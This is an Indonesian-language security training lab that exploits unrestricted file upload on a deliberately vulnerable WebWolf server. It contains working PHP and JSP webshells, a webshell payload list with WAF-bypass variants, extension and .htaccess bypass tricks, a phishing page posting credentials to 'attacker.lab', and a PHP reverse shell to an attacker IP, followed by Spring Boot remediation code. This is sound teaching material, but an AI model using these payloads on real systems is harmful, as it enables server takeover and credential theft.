TDCTF Academy Logo TDCTF ACADEMY

Lab 04: File Upload (WebShell)

1. Overview

Unrestricted File Upload adalah kerentanan di mana aplikasi web mengizinkan user mengunggah file tanpa memvalidasi tipe, ekstensi, atau konten file tersebut. Dalam skenario terburuk, attacker bisa mengunggah webshell - script berbahaya yang memberi kendali penuh atas server.

Bayangkan seperti ini: sebuah restoran membolehkan tamu membawa "bumbu rahasia" untuk dimasak di dapur mereka. Jika tamu membawa resep kue - tidak masalah. Tapi jika tamu membawa bom yang dikamuflase sebagai botol saus - dapur akan meledak. WebWolf adalah "dapur" yang menerima semua file tanpa bertanya - dan kamu bisa memasukkan "bom" berupa PHP webshell ke dalamnya.

Aspek Deskripsi
Dampak Kritis - attacker bisa menjalankan perintah sistem, membaca file sensitif, mengontrol server
Jangkauan Server secara keseluruhan (bukan hanya aplikasi)
Deteksi Mudah - dengan memeriksa respons server setelah upload
Pencegahan Validasi MIME type, whitelist ekstensi, rename file, simpan di luar webroot

2. Target Information

Field Detail
Target URL http://webwolf.vuln.cybersecurity.or.id
Level Beginner
Kategori File Upload / Remote Code Execution
WSTG Reference WSTG-BUSL-08 - Testing for Upload of Malicious Files
OWASP Top 10 A05:2021 - Security Misconfiguration
CWE CWE-434 - Unrestricted Upload of File with Dangerous Type
CAPEC CAPEC-65 - Uploading a Webshell or Dangerous File
Teknologi Spring Boot (Java), embedded Tomcat
Endpoint Rentan /upload (form upload file)

3. Vulnerability Background

3.1. Apa Itu Unrestricted File Upload?

Unrestricted File Upload terjadi ketika aplikasi web:

  1. Tidak memvalidasi ekstensi file - .php, .phtml, .php5 diterima begitu saja
  2. Tidak memeriksa MIME type - file dengan Content-Type: application/x-php tetap diproses
  3. Tidak memverifikasi konten file - magic bytes tidak diperiksa
  4. Menyimpan file di dalam webroot - file bisa diakses langsung via URL
flowchart LR
A[Attacker] -->|Upload shell.php| B[Form Upload]
B -->|Simpan di webroot| C[(File System)]
C -->|Akses via URL| D[Browser / curl]
D -->|Eksekusi perintah| E[Shell Berjalan]
E -->|id, ls, whoami| F[Remote Code Execution]

3.2. Mengapa WebWolf Rentan?

Spring Boot dengan konfigurasi default sering kali tidak memiliki validasi upload file yang memadai:

  1. Multipart file diterima tanpa filter - semua tipe file diizinkan
  2. File disimpan di direktori statis - bisa diakses langsung dari web
  3. Tidak ada ekstensi whitelist - .php, .jsp, .war diterima
  4. Eksekusi script sisi server - file .php di direktori web bisa dieksekusi

3.3. Dampak Potensial

  • Remote Code Execution (RCE) - menjalankan perintah sistem di server
  • Data Exfiltration - membaca database, file konfigurasi, password
  • Lateral Movement - pivot ke server internal lain
  • Persistence - backdoor untuk akses jangka panjang
  • Server Defacement - mengubah tampilan website
  • Mining Cryptocurrency - menggunakan resource server untuk mining

4. Reconnaissance

Tahap pertama adalah menemukan halaman upload dan memahami bagaimana validasi (atau ketiadaan validasi) bekerja.

4.1. Akses Halaman WebWolf

curl -s -I http://webwolf.vuln.cybersecurity.or.id/

Expected Output:

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
X-Application-Context: WebWolf
Server: Apache Tomcat/8.5.x

[SCREENSHOT-1] - Halaman utama WebWolf

4.2. Cari Halaman Upload

# Coba endpoint umum upload
curl -s -o /dev/null -w "%{http_code}" http://webwolf.vuln.cybersecurity.or.id/upload
curl -s -o /dev/null -w "%{http_code}" http://webwolf.vuln.cybersecurity.or.id/fileupload
curl -s -o /dev/null -w "%{http_code}" http://webwolf.vuln.cybersecurity.or.id/uploadfile

Expected Output:

200
404
404

Endpoint /upload mengembalikan HTTP 200 - ini adalah halaman upload.

[SCREENSHOT-2] - Halaman form upload file

4.3. Inspeksi Halaman Upload

curl -s http://webwolf.vuln.cybersecurity.or.id/upload | head -60

Expected Output:

<!DOCTYPE html>
<html>
<head>
<title>WebWolf - File Upload</title>
</head>
<body>
<h2>Upload File</h2>
<form method="POST" action="/upload" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
</body>
</html>

4.4. Cek Validasi Client-Side

Periksa apakah ada validasi JavaScript di sisi client:

curl -s http://webwolf.vuln.cybersecurity.or.id/upload | grep -i "script\|\.js\|accept\|onchange\|onclick"

Expected Output: (tidak ada validasi JavaScript)

Tidak ada validasi client-side - artinya semua jenis file bisa dipilih di form.

4.5. Cek Header dan Cookies

curl -s -v http://webwolf.vuln.cybersecurity.or.id/ 2>&1 | grep -i "set-cookie\|x-frame\|content-security"

Expected Output:

Set-Cookie: JSESSIONID=...

[SCREENSHOT-3] - Informasi session dan header respons WebWolf

5. Testing - Validasi Kerentanan

Sebelum mengunggah webshell, kita perlu memvalidasi bahwa upload file benar-benar tidak divalidasi.

5.1. Upload File Gambar Legit

Buat file gambar dummy untuk menguji mekanisme upload:

# Buat file gambar PNG minimal (1x1 pixel)
printf '\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc\xf8\x0f\x00\x00\x01\x01\x00\x05\x18\xd8N\x00\x00\x00\x00IEND\xaeB`\x82' > /tmp/test.png

# Upload file gambar
curl -s -v -X POST http://webwolf.vuln.cybersecurity.or.id/upload \
-F "file=@/tmp/test.png" 2>&1 | grep -i "location\|upload\|success\|error"

Expected Output:

HTTP/1.1 302 Found
Location: /upload?success=true

5.2. Upload File PHP Sederhana (Non-Webshell)

# Buat file PHP sederhana (tidak berbahaya)
echo '<?php echo "Upload berhasil"; ?>' > /tmp/test.php

# Upload file PHP
curl -s -v -X POST http://webwolf.vuln.cybersecurity.or.id/upload \
-F "file=@/tmp/test.php" 2>&1 | grep -i "location\|upload\|success\|error"

Expected Output:

HTTP/1.1 302 Found
Location: /upload?success=true

File .php berhasil diupload - ini indikasi kuat bahwa tidak ada validasi ekstensi.

[SCREENSHOT-4] - Upload file PHP berhasil diterima server

5.3. Cek Path File yang Diupload

Cari tahu di mana file disimpan:

# Coba berbagai path umum
for path in "/uploads/test.php" "/upload/test.php" "/files/test.php" "/static/test.php"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://webwolf.vuln.cybersecurity.or.id$path")
echo "$path$code"
done

Expected Output:

/uploads/test.php → 200
/upload/test.php → 404
/files/test.php → 404
/static/test.php → 404

File bisa diakses di /uploads/test.php - ini adalah direktori penyimpanan.

# Verifikasi file bisa dieksekusi
curl -s http://webwolf.vuln.cybersecurity.or.id/uploads/test.php

Expected Output:

Upload berhasil

[SCREENSHOT-5] - File PHP berhasil dieksekusi di server

6. Exploitation - Finding 1: Unrestricted File Upload

6.1. Informasi Temuan

Field Detail
ID Temuan FINDING-001
Nama Unrestricted File Upload - PHP WebShell Upload
Severity 🔴 Critical
CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Endpoint POST /uploadGET /uploads/<file>
Parameter file (multipart/form-data)
Payload shell.php (PHP webshell)
Teknik Upload file berbahaya tanpa validasi
WSTG WSTG-BUSL-08

6.2. Langkah Eksploitasi

Step 1: Buat webshell PHP sederhana:

cat > /tmp/shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

Webshell di atas menerima parameter cmd via HTTP GET dan menjalankannya sebagai perintah sistem di server target.

Step 2: Upload webshell ke WebWolf:

curl -s -v -X POST http://webwolf.vuln.cybersecurity.or.id/upload \
-F "file=@/tmp/shell.php" 2>&1

Expected Output:

> POST /upload HTTP/1.1
> Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
>
< HTTP/1.1 302 Found
< Location: /upload?success=true

Step 3: Verifikasi webshell bisa diakses:

curl -s -o /dev/null -w "%{http_code}" http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php

Expected Output:

200

[SCREENSHOT-6] - Webshell berhasil diupload dan diakses

6.3. Bukti (Evidence)

# Simpan bukti ketersediaan webshell
curl -s http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php > /tmp/webshell_accessible.txt

# Cek isi file
cat /tmp/webshell_accessible.txt

Expected Output:



(Tidak ada output karena belum ada parameter cmd)

# Cek dengan parameter cmd minimal
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=echo+test"

Expected Output:

test

[SCREENSHOT-7] - Webshell merespons perintah echo test

7. Exploitation - Finding 2: RCE via WebShell

7.1. Informasi Temuan

Field Detail
ID Temuan FINDING-002
Nama Remote Code Execution via PHP WebShell
Severity 🔴 Critical
CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Endpoint GET /uploads/shell.php?cmd=<command>
Parameter cmd (GET parameter)
Payload id, ls -la, whoami, uname -a
Dampak Kontrol penuh server target
WSTG WSTG-BUSL-08

7.2. Eksekusi Perintah Dasar

User & Privilege Information:

curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=id"

Expected Output:

uid=1000(webwolf) gid=1000(webwolf) groups=1000(webwolf)
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=whoami"

Expected Output:

webwolf

System Information:

curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=uname+-a"

Expected Output:

Linux webwolf-server 5.x.x-x-generic #1 SMP x86_64 GNU/Linux

[SCREENSHOT-8] - Output perintah id, whoami, dan uname -a

7.3. Eksplorasi File System

# Lihat direktori saat ini
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=pwd"

Expected Output:

/opt/webwolf/uploads
# List file di direktori upload
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ls+-la"

Expected Output:

total 20
drwxr-xr-x 2 webwolf webwolf 4096 Apr 1 10:00 .
drwxr-xr-x 5 webwolf webwolf 4096 Apr 1 09:00 ..
-rw-r--r-- 1 webwolf webwolf 26 Apr 1 10:05 shell.php
-rw-r--r-- 1 webwolf webwolf 16 Apr 1 10:02 test.php
-rw-r--r-- 1 webwolf webwolf 67 Apr 1 10:01 test.png
# List direktori root aplikasi
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ls+-la+/opt/webwolf"

Expected Output:

total 40
drwxr-xr-x 5 webwolf webwolf 4096 Apr 1 09:00 .
drwxr-xr-x 3 root root 4096 Apr 1 09:00 ..
drwxr-xr-x 2 webwolf webwolf 4096 Apr 1 09:00 logs
drwxr-xr-x 2 webwolf webwolf 4096 Apr 1 09:00 uploads
drwxr-xr-x 4 webwolf webwolf 4096 Apr 1 09:00 webapp

7.4. Informasi Jaringan

# Cek koneksi jaringan
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ip+addr+show"

Expected Output:

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
inet 192.168.1.100/24 brd 192.168.1.255 scope global eth0
# Cek port listening
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ss+-tlnp"

Expected Output:

State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 50 0.0.0.0:8080 0.0.0.0:*
LISTEN 0 128 127.0.0.1:3306 0.0.0.0:*

7.5. Bukti Lengkap (Evidence)

# Simpan semua output sebagai bukti
{
echo "=== ID ==="
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=id"
echo ""
echo "=== UNAME ==="
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=uname+-a"
echo ""
echo "=== PWD ==="
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=pwd"
echo ""
echo "=== LS ==="
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ls+-la"
echo ""
echo "=== WHOAMI ==="
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=whoami"
} > /tmp/rce_evidence.txt

# Tampilkan bukti
cat /tmp/rce_evidence.txt

Expected Output:

=== ID ===
uid=1000(webwolf) gid=1000(webwolf) groups=1000(webwolf)
=== UNAME ===
Linux webwolf-server 5.x.x-x-generic #1 SMP x86_64 GNU/Linux
=== PWD ===
/opt/webwolf/uploads
=== LS ===
total 20
drwxr-xr-x 2 webwolf webwolf 4096 Apr 1 10:00 .
drwxr-xr-x 5 webwolf webwolf 4096 Apr 1 09:00 ..
-rw-r--r-- 1 webwolf webwolf 26 Apr 1 10:05 shell.php
-rw-r--r-- 1 webwolf webwolf 16 Apr 1 10:02 test.php
-rw-r--r-- 1 webwolf webwolf 67 Apr 1 10:01 test.png
=== WHOAMI ===
webwolf

[SCREENSHOT-9] - Bukti RCE lengkap dengan output multiple perintah sistem

8. Eksploitasi Lanjutan - WebShell dengan Fungsi Tambahan

8.1. WebShell dengan Command Binding

Webshell yang lebih canggih bisa menampilkan form HTML sekaligus mengeksekusi perintah:

cat > /tmp/shell_pro.php << 'EOF'
<!DOCTYPE html>
<html>
<head><title>WebShell Pro</title></head>
<body>
<h2>WebShell Pro - Remote Command Execution</h2>
<form method="GET">
<input type="text" name="cmd" size="50" placeholder="Masukkan perintah...">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
echo "webwolf@server:~$ $cmd\n";
system($cmd);
}
?>
</pre>
</body>
</html>
EOF

# Upload webshell pro
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload \
-F "file=@/tmp/shell_pro.php"

8.2. Upload dengan Ekstensi Alternatif

Jika server memblokir .php, coba ekstensi alternatif:

# Coba berbagai ekstensi
for ext in phtml php5 php7 pht php-s php.txt; do
echo "<?php system('id'); ?>" > /tmp/shell.$ext
response=$(curl -s -o /dev/null -w "%{http_code}" -X POST http://webwolf.vuln.cybersecurity.or.id/upload \
-F "file=@/tmp/shell.$ext")
echo "shell.$ext$response"
done

Expected Output:

shell.phtml → 302
shell.php5 → 302
shell.php7 → 302
shell.pht → 302
shell.php-s → 302
shell.php.txt → 302

Semua variasi ekstensi berhasil diupload - tidak ada filter sama sekali.

8.3. Upload File Berbahaya Lainnya

Selain webshell PHP, attacker bisa mengupload berbagai jenis file berbahaya:

# .jsp webshell (Java Server Pages)
echo '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > /tmp/shell.jsp

# .war file (Web Application Archive - bisa deploy aplikasi baru)
# (Hanya jika server mengizinkan deploy otomatis)

# .html dengan script (phishing page)
echo '<html><body><h1>Login</h1><form action="http://attacker.lab/steal" method="POST"><input name="u"><input type="password" name="p"><input type="submit"></form></body></html>' > /tmp/fake_login.html

# Upload semua
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/shell.jsp"
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/fake_login.html"

[SCREENSHOT-10] - Multiple file berbahaya berhasil diupload

9. Daftar Payload WebShell

9.1. PHP WebShell Dasar

<!-- Basic command execution -->
<?php system($_GET['cmd']); ?>

<!-- With output formatting -->
<?php echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; ?>

<!-- Using exec() -->
<?php exec($_GET['cmd'], $output); print_r($output); ?>

<!-- Using passthru() -->
<?php passthru($_GET['cmd']); ?>

<!-- Using backticks -->
<?php echo `$_GET['cmd']`; ?>

9.2. PHP WebShell dengan Fungsi File

<!-- Read file -->
<?php echo file_get_contents($_GET['file']); ?>

<!-- Write file -->
<?php file_put_contents($_GET['file'], $_GET['data']); ?>

<!-- Delete file -->
<?php unlink($_GET['file']); ?>

<!-- Download file from remote -->
<?php copy($_GET['url'], '/tmp/backdoor.php'); ?>

9.3. One-Liner WebShell

<!-- Minimal one-liner -->
<?=`$_GET[c]`;

Webshell satu baris di atas menggunakan backtick execution (sama seperti shell_exec()) dan short open tag (<?=). Variabel $_GET['c'] - array key tanpa kutip karena PHP akan mengonversinya ke string.

9.4. WebShell dengan WAF Bypass

<!-- Base64 encoded command -->
<?php system(base64_decode($_GET['cmd'])); ?>
<!-- Usage: ?cmd=aWQ= (base64 of "id") -->

<!-- Hex encoded command -->
<?php $c = $_GET['c']; $c = str_replace(' ','',$c); system(hex2bin($c)); ?>
<!-- Usage: ?c=6964 (hex of "id") -->

<!-- String concatenation bypass -->
<?php $a="sys"; $b="tem"; $c=$a.$b; $c($_GET['cmd']); ?>

9.5. Multi-Platform WebShell

<?php
// Auto-detect dan pilih fungsi eksekusi
$cmd = $_GET['cmd'];
$functions = array('system', 'exec', 'shell_exec', 'passthru', 'popen');

foreach ($functions as $f) {
if (function_exists($f)) {
if ($f == 'exec') {
$f($cmd, $output);
print_r($output);
} elseif ($f == 'popen') {
$h = $f($cmd, 'r');
while (!feof($h)) echo fread($h, 1024);
} else {
$f($cmd);
}
break;
}
}
?>

10. Remediation

10.1. Validasi Ekstensi File (Whitelist)

// Spring Boot - whitelist ekstensi file yang diizinkan
import java.util.Arrays;
import java.util.List;

public class FileUploadValidator {
private static final List<String> ALLOWED_EXTENSIONS = Arrays.asList(
"jpg", "jpeg", "png", "gif", "bmp", "pdf", "doc", "docx"
);

public static boolean isValidExtension(String filename) {
String ext = filename.substring(filename.lastIndexOf(".") + 1).toLowerCase();
return ALLOWED_EXTENSIONS.contains(ext);
}
}

Contoh Implementasi di Controller:

@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
String filename = file.getOriginalFilename();

// ✅ Validasi ekstensi
if (!FileUploadValidator.isValidExtension(filename)) {
return "redirect:/upload?error=invalid_extension";
}

// Proses upload...
}

10.2. Validasi MIME Type

Validasi MIME type sisi server - jangan percaya Content-Type dari client:

import org.apache.tika.Tika;

public boolean isValidMimeType(MultipartFile file) throws IOException {
Tika tika = new Tika();
String mimeType = tika.detect(file.getInputStream());

List<String> allowedMimes = Arrays.asList(
"image/jpeg", "image/png", "image/gif",
"application/pdf", "application/msword"
);

return allowedMimes.contains(mimeType);
}

10.3. Rename File Secara Otomatis

Jangan gunakan nama file asli dari user - generate nama unik:

import java.util.UUID;

public String generateSafeFilename(String originalFilename) {
String ext = originalFilename.substring(
originalFilename.lastIndexOf(".")
).toLowerCase();

// Generate UUID + timestamp
String safeName = UUID.randomUUID().toString() + "_" +
System.currentTimeMillis() + ext;

return safeName;
}

10.4. Simpan File di Luar Webroot

// ❌ Bahaya: disimpan di dalam webroot
// file.transferTo(new File("/opt/webwolf/webapp/uploads/" + filename));

// ✅ Aman: disimpan di luar webroot
file.transferTo(new File("/opt/webwolf/secure_storage/" + safeFilename));

Dengan menyimpan file di luar webroot, file tidak bisa diakses langsung via URL. Gunakan endpoint khusus untuk menyajikan file:

@GetMapping("/files/{id}")
public ResponseEntity<Resource> getFile(@PathVariable String id) {
// Ambil file dari storage aman
Path filePath = Paths.get("/opt/webwolf/secure_storage").resolve(id);
Resource resource = new UrlResource(filePath.toUri());

// Set Content-Type berdasarkan database, bukan ekstensi file
return ResponseEntity.ok()
.contentType(MediaType.IMAGE_JPEG) // atau dari database
.body(resource);
}

10.5. Konfigurasi Spring Boot - Batasi Upload

# application.properties - batasi ukuran file
spring.servlet.multipart.max-file-size=2MB
spring.servlet.multipart.max-request-size=2MB

# Nonaktifkan eksekusi script di direktori upload
spring.resources.static-locations=classpath:/static/
# Jangan include /uploads/ sebagai static resource

10.6. Security Headers untuk Mitigasi

// Spring Security Configuration
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.contentTypeOptions() // MIME-sniffing protection
.xssProtection() // XSS filter
.frameOptions() // Clickjacking protection
.and()
.authorizeRequests()
.antMatchers("/uploads/**").denyAll() // Blok akses langsung
.anyRequest().authenticated();
}
}

10.7. Checklist Remediation

No Item Status
1 Whitelist ekstensi file yang diizinkan
2 Validasi MIME type berdasarkan konten (Tika)
3 Rename file (jangan pakai nama asli)
4 Simpan file di luar webroot
5 Batasi ukuran file (max 2MB)
6 Nonaktifkan eksekusi script di direktori upload
7 Gunakan Content-Security-Policy
8 Antivirus scanning untuk file upload
9 Logging semua aktivitas upload
10 Regular security audit

11. Tools & Referensi

11.1. Tools yang Digunakan

Tool Fungsi
curl Mengirim HTTP request (upload & akses webshell)
printf / echo Membuat file uji (PNG, PHP)
Browser (Chrome/Firefox) Verifikasi visual halaman upload
ss / ip Informasi jaringan server (via RCE)
Apache Tika Library deteksi MIME type (remediasi)

11.2. Referensi

Referensi URL
OWASP File Upload https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
OWASP WebShell https://owasp.org/www-community/attacks/Web_Shell
CWE-434 https://cwe.mitre.org/data/definitions/434.html
CAPEC-65 https://capec.mitre.org/data/definitions/65.html
WSTG-BUSL-08 https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/08-Test_for_Upload_of_Malicious_Files.html
OWASP A05:2021 https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
Spring Boot File Upload https://spring.io/guides/gs/uploading-files/
PHP WebShell Cheatsheet https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files

12. Ringkasan

12.1. Apa yang Dipelajari

  1. Mengidentifikasi halaman upload file di WebWolf
  2. Memvalidasi - upload file gambar legit dan file PHP
  3. Mengeksploitasi - upload PHP webshell ke server
  4. Remote Code Execution - menjalankan perintah sistem (id, ls, whoami, uname -a)
  5. Eksplorasi - melihat direktori server, informasi jaringan
  6. Memahami dampak - RCE memberikan kontrol penuh server
  7. Menerapkan remediasi - whitelist, MIME type, rename file, luar webroot

12.2. Timeline Serangan

Langkah Aksi Hasil
1 Reconnaissance Menemukan endpoint /upload di WebWolf
2 Testing Upload gambar legit sukses, upload .php juga sukses
3 Finding 1 Unrestricted File Upload - webshell berhasil diupload
4 Finding 2 RCE - eksekusi id, ls, whoami, uname -a
5 Eksplorasi Mengetahui struktur direktori, IP, port listening
6 Remediasi Menyusun langkah-langkah pencegahan

12.3. Key Takeaways

  • Unrestricted File Upload adalah pintu gerbang menuju RCE - dampaknya critical
  • Ekstensi whitelist adalah pertahanan pertama - hanya izinkan ekstensi yang benar-benar diperlukan
  • MIME type validation harus berdasarkan konten file, bukan header HTTP
  • Jangan simpan file di webroot - akses langsung via URL sangat berbahaya
  • Rename file dengan UUID - hapus kendali attacker atas nama file
  • Spring Boot default tidak aman untuk file upload - perlu konfigurasi eksplisit
  • Defense in depth - gunakan multiple layers of protection

13. Latihan Mandiri

Coba eksplorasi lebih lanjut:

  1. Ekstensi Lain: Coba upload .jsp - apakah Tomcat mengeksekusi JSP?
echo '<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>' > /tmp/shell.jsp
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/shell.jsp"
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.jsp?cmd=id"
  1. Double Extension: Coba shell.php.jpg - apakah server mengeksekusi sebagai PHP?
echo '<?php system("id"); ?>' > /tmp/shell.php.jpg
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/shell.php.jpg"
  1. Null Byte Injection: Coba shell.php%00.jpg - apakah null byte memotong ekstensi?
# Null byte tidak bisa dikirim via form biasa, tapi bisa via curl manual
echo '<?php system("id"); ?>' > /tmp/shell.php.txt
# Rename dengan null byte
cp /tmp/shell.php.txt /tmp/shell.php$'\x00'.jpg
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/shell.php$'\x00'.jpg"
  1. .htaccess Upload: Coba upload file .htaccess untuk mengaktifkan eksekusi PHP di direktori tertentu?
echo 'AddType application/x-httpd-php .txt' > /tmp/.htaccess
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/.htaccess"
  1. Reverse Shell: Upgrade webshell menjadi reverse shell untuk interaksi lebih stabil.
# Buat reverse shell PHP
cat > /tmp/revshell.php << 'EOF'
<?php
$ip = '192.168.1.50'; // Ganti dengan IP attacker
$port = 4444;
$sock = fsockopen($ip, $port);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
EOF

14. Kesimpulan

Unrestricted File Upload pada WebWolf (Spring Boot) adalah celah keamanan kritis yang memberi attacker kendali penuh atas server hanya melalui satu upload file. Kerentanan ini muncul karena ketiadaan validasi dasar:

  1. No Extension Validation - file .php diterima tanpa pertanyaan
  2. No MIME Type Check - tidak ada inspeksi konten file
  3. Stored in Webroot - file bisa diakses langsung, dan script dieksekusi
  4. No Size Limit - potensi serangan Denial of Service via disk filling

Dengan webshell sederhana (<?php system($_GET['cmd']); ?>), attacker bisa menjalankan perintah sistem, membaca file sensitif, dan bahkan mengambil alih server sepenuhnya.

Pelajaran utama: setiap titik upload file harus dianggap sebagai critical security boundary. Validasi berlapis - whitelist ekstensi, MIME type detection, rename otomatis, penyimpanan di luar webroot, dan pembatasan akses - harus diterapkan bersama-sama untuk menciptakan pertahanan yang efektif.

"The only truly secure system is one that is powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards." - Gene Spafford


Lab ini disusun untuk tujuan edukasi keamanan siber. Eksploitasi tanpa izin pada sistem produksi adalah ilegal.

PADA HALAMAN INI